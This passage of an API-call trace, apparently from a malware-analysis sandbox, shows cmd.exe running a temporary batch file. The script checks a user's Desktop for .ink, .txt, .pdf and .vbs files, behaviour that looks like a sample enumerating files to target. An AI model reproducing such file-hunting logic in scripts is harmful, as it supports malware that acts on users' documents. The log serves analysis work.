0x74 [0039.383] SetFilePointer (in: hFile=0x74, lDistanceToMove=3695, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe6f [0039.383] GetProcessHeap () returned 0x4e0000 [0039.383] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.383] GetProcessHeap () returned 0x4e0000 [0039.383] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.383] GetProcessHeap () returned 0x4e0000 [0039.383] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.383] GetProcessHeap () returned 0x4e0000 [0039.383] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.384] GetProcessHeap () returned 0x4e0000 [0039.384] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.384] GetProcessHeap () returned 0x4e0000 [0039.384] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.384] GetProcessHeap () returned 0x4e0000 [0039.384] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.384] GetProcessHeap () returned 0x4e0000 [0039.384] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.384] GetProcessHeap () returned 0x4e0000 [0039.384] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.384] GetProcessHeap () returned 0x4e0000 [0039.384] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.384] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.384] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe6f [0039.384] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17be, lpOverlapped=0x0) returned 1 [0039.384] SetFilePointer (in: hFile=0x74, lDistanceToMove=3697, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe71 [0039.384] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.ink goto ink\r\n\n\n") returned 2 [0039.384] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.384] GetFileType (hFile=0x74) returned 0x1 [0039.385] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.385] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe71 [0039.385] GetProcessHeap () returned 0x4e0000 [0039.385] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.385] GetProcessHeap () returned 0x4e0000 [0039.385] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.385] _tell (_FileHandle=3) returned 3697 [0039.385] _close (_FileHandle=3) returned 0 [0039.385] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.385] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.385] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.385] SetFilePointer (in: hFile=0x74, lDistanceToMove=3697, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe71 [0039.386] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.386] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe71 [0039.386] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17bc, lpOverlapped=0x0) returned 1 [0039.386] SetFilePointer (in: hFile=0x74, lDistanceToMove=3722, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe8a [0039.386] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.txt goto txt\r\n\n\n") returned 25 [0039.386] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.386] GetFileType (hFile=0x74) returned 0x1 [0039.386] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.386] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe8a [0039.386] GetProcessHeap () returned 0x4e0000 [0039.386] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.386] GetProcessHeap () returned 0x4e0000 [0039.386] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.386] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.386] GetProcessHeap () returned 0x4e0000 [0039.386] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.386] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.387] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.387] GetProcessHeap () returned 0x4e0000 [0039.387] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.387] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.387] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.387] GetProcessHeap () returned 0x4e0000 [0039.387] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.387] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.387] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.387] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.387] GetProcessHeap () returned 0x4e0000 [0039.387] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.387] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.387] GetProcessHeap () returned 0x4e0000 [0039.387] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.387] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.387] GetProcessHeap () returned 0x4e0000 [0039.387] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.387] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.388] _tell (_FileHandle=3) returned 3722 [0039.388] _close (_FileHandle=3) returned 0 [0039.389] GetFullPathNameW (in: lpFileName="*.txt", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", lpFilePart=0x41eea8*="*.txt") returned 0x2b [0039.389] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.389] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.389] GetLastError () returned 0x2 [0039.389] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.389] GetLastError () returned 0x6 [0039.389] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.389] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.389] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.389] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.390] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.390] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.391] SetConsoleInputExeNameW () returned 0x1 [0039.391] GetConsoleOutputCP () returned 0x1b5 [0039.391] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.391] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.391] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.391] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.391] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.391] SetFilePointer (in: hFile=0x74, lDistanceToMove=3722, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe8a [0039.391] GetProcessHeap () returned 0x4e0000 [0039.391] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.391] GetProcessHeap () returned 0x4e0000 [0039.391] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.391] GetProcessHeap () returned 0x4e0000 [0039.391] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.391] GetProcessHeap () returned 0x4e0000 [0039.392] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.392] GetProcessHeap () returned 0x4e0000 [0039.392] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.392] GetProcessHeap () returned 0x4e0000 [0039.392] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.392] GetProcessHeap () returned 0x4e0000 [0039.392] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.392] GetProcessHeap () returned 0x4e0000 [0039.392] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.392] GetProcessHeap () returned 0x4e0000 [0039.392] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.392] GetProcessHeap () returned 0x4e0000 [0039.392] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.392] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.392] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe8a [0039.392] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17a3, lpOverlapped=0x0) returned 1 [0039.392] SetFilePointer (in: hFile=0x74, lDistanceToMove=3724, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe8c [0039.392] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.txt goto txt\r\n\n\n") returned 2 [0039.392] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.392] GetFileType (hFile=0x74) returned 0x1 [0039.393] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.393] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe8c [0039.393] GetProcessHeap () returned 0x4e0000 [0039.393] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.393] GetProcessHeap () returned 0x4e0000 [0039.393] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.393] _tell (_FileHandle=3) returned 3724 [0039.393] _close (_FileHandle=3) returned 0 [0039.393] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.393] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.393] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.393] SetFilePointer (in: hFile=0x74, lDistanceToMove=3724, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe8c [0039.394] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.394] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe8c [0039.394] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17a1, lpOverlapped=0x0) returned 1 [0039.394] SetFilePointer (in: hFile=0x74, lDistanceToMove=3749, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xea5 [0039.394] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.pdf goto pdf\r\n\n\n") returned 25 [0039.394] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.394] GetFileType (hFile=0x74) returned 0x1 [0039.394] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.394] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xea5 [0039.394] GetProcessHeap () returned 0x4e0000 [0039.394] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.394] GetProcessHeap () returned 0x4e0000 [0039.394] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.394] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.394] GetProcessHeap () returned 0x4e0000 [0039.394] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.394] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.394] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.394] GetProcessHeap () returned 0x4e0000 [0039.394] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.395] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.395] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.395] GetProcessHeap () returned 0x4e0000 [0039.395] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.395] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.395] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.395] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.395] GetProcessHeap () returned 0x4e0000 [0039.395] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.395] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.395] GetProcessHeap () returned 0x4e0000 [0039.395] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.395] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.395] GetProcessHeap () returned 0x4e0000 [0039.395] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.395] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.396] _tell (_FileHandle=3) returned 3749 [0039.396] _close (_FileHandle=3) returned 0 [0039.397] GetFullPathNameW (in: lpFileName="*.pdf", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", lpFilePart=0x41eea8*="*.pdf") returned 0x2b [0039.397] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.397] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.397] GetLastError () returned 0x2 [0039.397] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.397] GetLastError () returned 0x6 [0039.397] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.397] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.397] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.397] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.398] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.398] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.398] SetConsoleInputExeNameW () returned 0x1 [0039.398] GetConsoleOutputCP () returned 0x1b5 [0039.398] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.398] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.399] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.399] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.399] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.399] SetFilePointer (in: hFile=0x74, lDistanceToMove=3749, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xea5 [0039.399] GetProcessHeap () returned 0x4e0000 [0039.399] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.399] GetProcessHeap () returned 0x4e0000 [0039.399] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.399] GetProcessHeap () returned 0x4e0000 [0039.399] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.399] GetProcessHeap () returned 0x4e0000 [0039.399] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.399] GetProcessHeap () returned 0x4e0000 [0039.399] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.399] GetProcessHeap () returned 0x4e0000 [0039.399] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.399] GetProcessHeap () returned 0x4e0000 [0039.399] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.399] GetProcessHeap () returned 0x4e0000 [0039.399] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.399] GetProcessHeap () returned 0x4e0000 [0039.399] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.399] GetProcessHeap () returned 0x4e0000 [0039.399] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.400] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.400] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xea5 [0039.400] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1788, lpOverlapped=0x0) returned 1 [0039.400] SetFilePointer (in: hFile=0x74, lDistanceToMove=3774, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xebe [0039.400] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.vbs goto vbs\r\n\n\n") returned 25 [0039.400] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.400] GetFileType (hFile=0x74) returned 0x1 [0039.400] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.400] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xebe [0039.400] GetProcessHeap () returned 0x4e0000 [0039.400] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.400] GetProcessHeap () returned 0x4e0000 [0039.400] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.400] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.400] GetProcessHeap () returned 0x4e0000 [0039.400] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.401] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.401] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.401] GetProcessHeap () returned 0x4e0000 [0039.401] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.401] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.401] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.401] GetProcessHeap () returned 0x4e0000 [0039.401] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.401] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.401] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.401] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.401] GetProcessHeap () returned 0x4e0000 [0039.401] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.401] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.401] GetProcessHeap () returned 0x4e0000 [0039.401] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.401] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.401] GetProcessHeap () returned 0x4e0000 [0039.401] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.401] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.402] _tell (_FileHandle=3) returned 3774 [0039.402] _close (_FileHandle=3) returned 0 [0039.403] GetFullPathNameW (in: lpFileName="*.vbs", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", lpFilePart=0x41eea8*="*.vbs") returned 0x2b [0039.403] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.403] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.403] GetLastError () returned 0x2 [0039.403] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.403] GetLastError () returned 0x6 [0039.403] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.403] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.403] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.403] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.404] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.404] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.404] SetConsoleInputExeNameW () returned 0x1 [0039.404] GetConsoleOutputCP () returned 0x1b5 [0039.404] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.404] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.404] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.405] _open_osfhandle 